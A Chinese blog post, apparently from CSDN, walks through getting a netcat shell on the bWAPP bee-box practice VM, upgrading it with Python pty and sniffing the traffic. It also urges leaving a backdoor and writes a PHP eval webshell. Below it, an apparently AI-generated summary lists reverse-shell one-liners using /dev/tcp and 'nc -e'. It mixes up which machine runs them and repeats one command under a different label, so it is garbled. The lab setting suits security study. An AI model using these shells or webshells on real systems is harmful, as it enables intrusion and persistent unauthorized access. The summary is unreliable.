用nc反弹shell真有意思哈哈

先在bee(192.168.170.130)上面

bee@bee-box:/tmp$ nc -vlp 4444 -e /bin/bash
listening on [any] 4444 ...
192.168.170.1: inverse host lookup failed: Unknown host
connect to [192.168.170.130] from (UNKNOWN) [192.168.170.1] 51226

然后在自己机器(192.168.170.1)上

➜  exploit/others master ✓ nc 192.168.170.130 4444                  [14:07:23]

这个时候在bee上,用netstat -plant应该可以已经看到TCP连接已经建立了。

tcp        0      0 192.168.170.130:4444    192.168.170.1:51434     ESTABLISHED

然后继续,暂时只是一个没有命令提示符的shell,可以用python来得到一个有交互式的shell。

id
uid=1000(bee) gid=1000(bee) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),125(sambashare),1000(bee)
python -c "import pty; pty.spawn('/bin/bash')"
bee@bee-box:/tmp$

bee@bee-box:/tmp$ pwd
pwd
/tmp
bee@bee-box:/tmp$ ifconfig
ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:82:c4:aa
          inet addr:192.168.170.130  Bcast:192.168.170.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe82:c4aa/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:27851 errors:24921 dropped:0 overruns:0 frame:0
          TX packets:21029 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3201942 (3.0 MB)  TX bytes:6392437 (6.0 MB)
          Interrupt:16 Base address:0x2024

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:1006 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1006 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:77917 (76.0 KB)  TX bytes:77917 (76.0 KB)

bee@bee-box:/tmp$

bee@bee-box:/tmp$ echo "caiqiqi"
echo "caiqiqi"
caiqiqi

在这个nc反弹回来的shell里面,输入echo "caiqiqi"
然后用wireshark抓包,follow TCP stream。由于是nc,所以并不是ssh加密的,是没有加密的TCP流量
这里写图片描述。得到这么几个包。
这里写图片描述

当在web页面上使用nc -vlp 4444 -e /bin/bash时,得到的是www-data用户的shell。
注意:如果你输入ifconfig,可能并没有回显,这可能是www-data用户的环境变量里没有/sbin的缘故,如果你有带命令提示符的shell的话,它会给你提示错误,否则可能什么响应都没有,你以为你已经断开shell了呢,其实没有。

www-data@bee-box:/var/www/bWAPP$ ifconfig
ifconfig
Command 'ifconfig' is available in '/sbin/ifconfig'
The command could not be located because '/sbin' is not included in the PATH environment variable.
This is most likely caused by the lack of administrative priviledges associated with your user account.
bash: ifconfig: command not found
www-data@bee-box:/var/www/bWAPP$ echo $PATH
echo $PATH
/usr/local/bin:/usr/bin:/bin

最后记得留下后门。

www-data@bee-box:/var/www/bWAPP$ echo "<?php eval($_GET['x']);?>" > x.php
echo "<?php eval($_GET['x']);?>" > x.php

然而在我之后在正常的shell中却发现那个后门的内容并不是我之前输入的那样,

bee@bee-box:/var/www/bWAPP$ cat x.php
<?php eval(['x']);?>

页面也报错了
这里写图片描述

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
NC反弹shell是一种利用NetCat工具实现的一种技术,用于在目标机器和控制机器之间建立一个反向连接,并获得对目标机器的控制权。在反弹shell中,目标机器先执行NC命令,将shell连接到控制机器上的NC监听端口,从而使控制机器能够控制目标机器。 有几种方法可以实现NC反弹shell。其中一种是使用bash反弹,命令如下: ``` bash -i &>/dev/tcp/ip/port 0>&1 ``` 请注意,这种方法需要在控制机器上执行。 另一种方法是使用NC命令进行反向连接,命令如下: ``` nc -e /bin/bash 192.168.0.4 7777 ``` 这种方法适用于在CentOS或Ubuntu上使用。 还有一种方法是使用php反弹shell,需要目标机器安装NC。命令如下: ``` bash -i &>/dev/tcp/ip/port 0>&1 ``` 同样,这种方法需要在控制机器上执行。 总而言之,NC反弹shell是一种通过建立反向连接实现对目标机器的控制的技术。可以使用不同的方法来实现反弹shell,如bash反弹和php反弹。这些方法需要根据具体情况和系统进行选择和执行。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [详解NC反弹shell的几种方法](https://download.csdn.net/download/weixin_38664159/14048091)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [NC反弹shell的几种方法](https://blog.csdn.net/qq_59350385/article/details/124733038)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值